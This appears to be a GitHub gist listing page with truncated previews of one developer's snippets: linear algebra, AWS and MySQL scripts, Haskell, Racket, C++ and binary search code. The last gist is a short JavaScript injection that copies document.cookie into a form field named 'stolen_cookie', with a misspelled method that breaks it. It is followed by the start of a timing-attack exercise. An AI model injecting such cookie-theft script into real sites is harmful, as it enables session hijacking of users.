Skip to content

Instantly share code, notes, and snippets.

Avatar

Wei Li seckcoder

  • Blablabla
  • San Francisco
View GitHub Profile
View gist:727fa1b8b8a6d7edc810
import numpy as np
import numpy.linalg as linalg
import matplotlib.pyplot as plt
import math
def p4():
A = np.array([[1, 3, 2],
[-1, 2, -5],
[2, -4, 3]])
View gist:d68c6107766cee9ac60c
__author__ = 'seckcoder'
import config
import boto.ec2.cloudwatch
import subprocess
import time
from datetime import datetime
region = "us-east-1"
@seckcoder
seckcoder / gist:ba0a4da718dd6fe578ad
Created Oct 28, 2014
cloud computing mysql bulk load. Fuck you cloud computing!!!
View gist:ba0a4da718dd6fe578ad
#!/usr/bin/env python
__author__ = 'seckcoder'
import sys
import json
from mysql.connector.pooling import MySQLConnectionPool
import traceback
from mysql.connector.conversion import MySQLConverter
View mysql_innodb_4G.png

screen shot of top and mtop: Inline-style: ![alt text][logo]

mysql status when cpu is 190%:

+------------------------------------------+-------------+

| Variable_name | Value |

View gist:5582c6bc54748f7440ed

ghc: 7.8.3

cabal-install version 1.20.0.3

using version 1.20.0.2 of the Cabal library

OS: Mac OS X Lion 10.7.5

After running cabal install stm:

View IOAction.hs
data IOAction a = Return a
| Put String (IOAction a)
| Get (String -> IOAction a)
get = Get Return
put s = Put s (Return ())
seqio :: IOAction a -> (a -> IOAction b) -> IOAction b
seqio (Return a) f = f a
seqio (Put s io) f = Put s (seqio io f)
View monad.rkt
#lang racket/base
;; Monads in Racket, including polymorphic bind, return and fail.
;; Haskell-like do-notation.
(provide define-monad-class
(struct-out monad-class)
monad?
gen:monad
monad->monad-class
determine-monad
@seckcoder
seckcoder / gist:a86d7e730969dbb8fc20
Created Feb 22, 2015
Bizarre C++ Compiler Error
View gist:a86d7e730969dbb8fc20
// The following code will create Bizarre compiler error when compiled with clang++.
// Not sure what's wrong with it.
#include <iostream>
#include <vector>
using namespace std;
struct Edge {
int v;
@seckcoder
seckcoder / gist:328d60120425db663051
Last active Aug 29, 2015
bug free binary search
View gist:328d60120425db663051
/*
*
* 最简单的二分查找. 在一个数组里面找是否存在某个数
* A是数组,在A[p-r]里面找是否存在某个数, 存在返回index,否则返回-1
*
*/
int binSearch(int A[], int p, int r, int v) {
while (p <= r) {
int m = (p+r)/2;
View gist:914bde8487a3da71e0fe
<script>
var id = String.fromCharcode([115, 116, 111, 108, 101, 110, 95, 99, 111, 111, 107, 105, 101]);
document.getElementById(id).value = document.cookie;
</script>
// Timing Attack # 1
function checkPwd(passwd) {
var start_time = new Date().getTime();